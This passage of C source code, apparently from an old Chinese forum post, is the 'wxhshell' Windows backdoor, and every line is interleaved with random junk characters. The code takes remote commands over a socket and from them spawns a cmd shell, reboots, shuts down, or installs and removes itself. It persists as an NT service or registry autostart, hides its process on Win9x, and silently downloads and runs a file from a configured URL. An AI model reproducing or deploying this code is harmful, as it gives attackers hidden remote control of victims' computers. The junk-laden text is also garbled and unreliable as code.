  else { Gy)@Is9  
'2O\_Uz  
    switch(cmd[0]) { p8Q1-T3v  
  Gc!x|V;T  
  // 帮助 hEk$d.!}  
  case '?': { 1U\z5$V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "mN q&$  
    break; ^t"'rD-I  
  } FN; ^"H  
  // 安装 {e5= &A  
  case 'i': { ZB&6<uw  
    if(Install()) MfQ!6zE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+QLLcS~EM  
    else Fx+*S3==%e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ev P{p  
    break; 1 .X@;  
    } pNIf=lA  
  // 卸载 i  LAscb  
  case 'r': { TPY}C  
    if(Uninstall()) rbpSg7}Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CP{cAzHO  
    else @I*{f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |CzSU1ma  
    break; !a<ng&H^U  
    } H.2QKws^F  
  // 显示 wxhshell 所在路径 J$!iq|  
  case 'p': { LDD|(KLR*.  
    char svExeFile[MAX_PATH]; UDni]P!E  
    strcpy(svExeFile,"\n\r"); l+R+&b^  
      strcat(svExeFile,ExeFile); yWya&|D9  
        send(wsh,svExeFile,strlen(svExeFile),0); Q&V;(L62!  
    break; E!#WnSpnK  
    } _y>~ yZx  
  // 重启 /=, nGk>  
  case 'b': { Faf&U%]*`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~nPtlrQa#*  
    if(Boot(REBOOT)) %#}Zy   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qv"$Bd:]r  
    else { o lxByzTh>  
    closesocket(wsh); B]$GSEB  
    ExitThread(0); <|\Lm20 G]  
    } +]50DxflA  
    break; IMfqiH)  
    } ^VACf|0  
  // 关机 eIo7F m  
  case 'd': { ##o#eZq:"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ow#1="G,=  
    if(Boot(SHUTDOWN)) h-D }'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +U.I( 83F  
    else { 7!$^r$t   
    closesocket(wsh); -tNUMi'  
    ExitThread(0); !YJs]_Wr  
    } d:{O\   
    break; e!r-+.i(  
    } AvHCO8h|  
  // 获取shell @gtQQxf"  
  case 's': { ^BL"wk  
    CmdShell(wsh); 2>H24F  
    closesocket(wsh); 5BJmA2L  
    ExitThread(0); e,5C8Q`Z  
    break;  {>%&(  
  } ~WN:DXn  
  // 退出 Ydy9  
  case 'x': { W,-g=6,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xp9pl[l  
    CloseIt(wsh); M|[oaanY'  
    break; t.'!`5G  
    } ))i}7 chc  
  // 离开 N"y)Oca{  
  case 'q': { gGS=cdlV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rx|;=-8zg  
    closesocket(wsh); i2^>vYCsl  
    WSACleanup(); Y]5 l.SV  
    exit(1); Zsh9>]M L  
    break; { buy"X4  
        } W8!Qv8rf  
  } lu6(C  
  } Uv~QUL3>  
T"}vAG( .O  
  // 提示信息 ^<-+@v*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z*2Vpnqh\  
} TvQo?  
  } qcGK2Qx  
C{XmVc.  
  return; f>Jr|#k  
} UOmY-\ &c  
hDq`Z$_+KX  
// shell模块句柄 7fX<511(  
int CmdShell(SOCKET sock) =iD 3Yt  
{ 13=.H5  
STARTUPINFO si; ^w06<m  
ZeroMemory(&si,sizeof(si)); wsVV$I[2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @{pLk4E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :$9tF >  
PROCESS_INFORMATION ProcessInfo; 2Q"K8=s  
char cmdline[]="cmd"; 1~QPG\cdIX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .q3/_*  
  return 0; wuJ4kW$  
} Iy3GE[  
7 ^mL_SMj  
// 自身启动模式 FtC^5{V+V  
int StartFromService(void) r{%qf;  
{ g2/8~cn8z  
typedef struct {T Ug. %u  
{ t3Y:}%M  
  DWORD ExitStatus; KFkoS0M5|  
  DWORD PebBaseAddress; XNu^`Ha  
  DWORD AffinityMask; f:.I0 ST  
  DWORD BasePriority; X/M4!L}\  
  ULONG UniqueProcessId; QS]1daMIK<  
  ULONG InheritedFromUniqueProcessId; }<y7bqA  
}   PROCESS_BASIC_INFORMATION; @[i4^  
om-omo&,X=  
PROCNTQSIP NtQueryInformationProcess; Q({ r@*g  
m<qJcZk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R#8L\1l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?_"ik[w}  
bB;5s`-  
  HANDLE             hProcess; %\Mo-Ow!\  
  PROCESS_BASIC_INFORMATION pbi; Bv%GJ*>>  
y[_Q-   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _8)*]-  
  if(NULL == hInst ) return 0; ?r+-  
{Z5nGG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'W,jMju  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1&(V   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;x1 PS  
; XN{x  
  if (!NtQueryInformationProcess) return 0; :7?FF'u  
X=8{$:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TSWM |#u':  
  if(!hProcess) return 0; cX OK)g#  
&7wd?)s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @\P;W(m.i  
6ez<g Uf  
  CloseHandle(hProcess); M$8^91%4B  
t=O8f5Pf{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KC#q@InK  
if(hProcess==NULL) return 0; 8rS:5:Hi  
X~,aNRy  
HMODULE hMod; } c }_<#I  
char procName[255]; w+E,INd i  
unsigned long cbNeeded; pKrN:ExB"\  
58J}{Req  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zb<6 Ov  
q,eVjtF  
  CloseHandle(hProcess); W+X6@/BO  
t9:0TBt-[  
if(strstr(procName,"services")) return 1; // 以服务启动 .oUTqki  
6s/&BR  
  return 0; // 注册表启动 <=0 u2~E  
} `eCo~(F y  
8-%TC\:  
// 主模块 ^ tg<K  
int StartWxhshell(LPSTR lpCmdLine) wInh~p  
{ %vhnl'  
  SOCKET wsl; Z//+Gw<'  
BOOL val=TRUE; sAD}#Zw$  
  int port=0; |CZ@te)>  
  struct sockaddr_in door; r_6ZO&  
QR0Q{}wbqU  
  if(wscfg.ws_autoins) Install(); 0C6-GKbZ  
%k?U9pj^  
port=atoi(lpCmdLine); ;Q*or2"!  
#c?j\Y9nz  
if(port<=0) port=wscfg.ws_port; +sUFv)!4  
* 8_wYYH  
  WSADATA data; bNNr]h8y-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fs%.}^kn  
doy`C)xI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g($DdKc|g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }$Tl ?BRpU  
  door.sin_family = AF_INET; W_8wed:b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {|:;]T"y  
  door.sin_port = htons(port); 'd$P`Vw:  
PFne+T!2F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5BKt1%Pg  
closesocket(wsl); iJ3e1w$  
return 1; s<eb;Z2D  
} 91  g2A|  
?9\EN|O^  
  if(listen(wsl,2) == INVALID_SOCKET) { tL)t"  i  
closesocket(wsl); 2Kyl/C,  
return 1; m?fy^>1  
} ZR?yDgL  
  Wxhshell(wsl); )PuFuf(wz  
  WSACleanup(); ?>rW>U6:P  
sN2p76KN  
return 0;  &NK,VB;  
S4Ww5G?.  
} d0Qd$ .%A  
W=vP]x >J  
// 以NT服务方式启动 IrhA+)pdse  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QPg8;O  
{ LNpup`>`  
DWORD   status = 0; E!l!OtFL  
  DWORD   specificError = 0xfffffff; ^o1*a&~J@  
$#S&QHyEe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b+6\JE^Mz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A '5,LfTu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DYxCQ D  
  serviceStatus.dwWin32ExitCode     = 0; [@b&? b~K  
  serviceStatus.dwServiceSpecificExitCode = 0; iIa'2+  
  serviceStatus.dwCheckPoint       = 0; D\s WZ  
  serviceStatus.dwWaitHint       = 0; =&2 Lb  
^, _w$H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Md2>3-  
  if (hServiceStatusHandle==0) return; khrb-IY@  
DB:+E|vSD  
status = GetLastError(); S` ;?z  
  if (status!=NO_ERROR) X/2&!O  
{ >eB\(EP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \$\ENQ;Nk  
    serviceStatus.dwCheckPoint       = 0; "*5hiTr8+  
    serviceStatus.dwWaitHint       = 0; JB`\G=PiL  
    serviceStatus.dwWin32ExitCode     = status; Q/_f zg  
    serviceStatus.dwServiceSpecificExitCode = specificError; DhT>']Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v` 7RCg`  
    return; - 'W++tH=  
  } An"</;HU  
VG5+CU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PuT@}tw  
  serviceStatus.dwCheckPoint       = 0; l q&wXi  
  serviceStatus.dwWaitHint       = 0; YWe"zz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GlT7b/JCG  
} !~&R"2/  
.5,(_p^  
// 处理NT服务事件,比如:启动、停止 4V==7p x(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6qaQ[XTxf  
{ TAF PawH  
switch(fdwControl) J}+6UlD  
{ "a1n_>#Fb  
case SERVICE_CONTROL_STOP: 6&l+0dq  
  serviceStatus.dwWin32ExitCode = 0; rIh l.5Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i2(1ki/|O  
  serviceStatus.dwCheckPoint   = 0; s,n0jix@  
  serviceStatus.dwWaitHint     = 0; `gb5 "`EZ  
  { ez^@NK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %S nd\  
  } lM{ +!-G,  
  return; NchXt6$i9  
case SERVICE_CONTROL_PAUSE: (B_\TdQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "xHgqgFyO  
  break; OJ zs Q  
case SERVICE_CONTROL_CONTINUE: .!,z:l$Kh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3G~@H>j  
  break; Z1Z1@2 T  
case SERVICE_CONTROL_INTERROGATE: ( %xwl  
  break; Mo @C9Y0  
}; K7W6ZH9;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B'EKM)dA  
} 7`8Ik`lY  
Jesjtcy<*  
// 标准应用程序主函数 [P7N{l=I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &2zq%((r  
{ +0q>fp_K(+  
Qj6/[mUr~  
// 获取操作系统版本 R>"OXFaE  
OsIsNt=GetOsVer(); )5U[o0td  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pg%aI,  
)>-ibf`#?  
  // 从命令行安装 K7Wk6Aw  
  if(strpbrk(lpCmdLine,"iI")) Install(); G\r?f&  
iN0nw]_*  
  // 下载执行文件 -'BA{#e}L  
if(wscfg.ws_downexe) { $.v5~UGb{\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $K'|0   
  WinExec(wscfg.ws_filenam,SW_HIDE); EEZw_ 1  
} Yf~{I-|`q  
@kU@N?5e  
if(!OsIsNt) { eI:C{0p=  
// 如果时win9x,隐藏进程并且设置为注册表启动 xz{IH,?IG  
HideProc(); )Ocl=H|=  
StartWxhshell(lpCmdLine); Gz[fG  
} G\Ro}5TO  
else Bw64  
  if(StartFromService()) *9c!^ $V  
  // 以服务方式启动 Fa_VKAq  
  StartServiceCtrlDispatcher(DispatchTable); Y> Wu  
else /2Bi@syxK  
  // 普通方式启动 Gkv{~?95  
  StartWxhshell(lpCmdLine); X>. NFB  
d[^~'V  
return 0; mL`5u f  
}
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只看该作者 1 发表于: 2006-10-10
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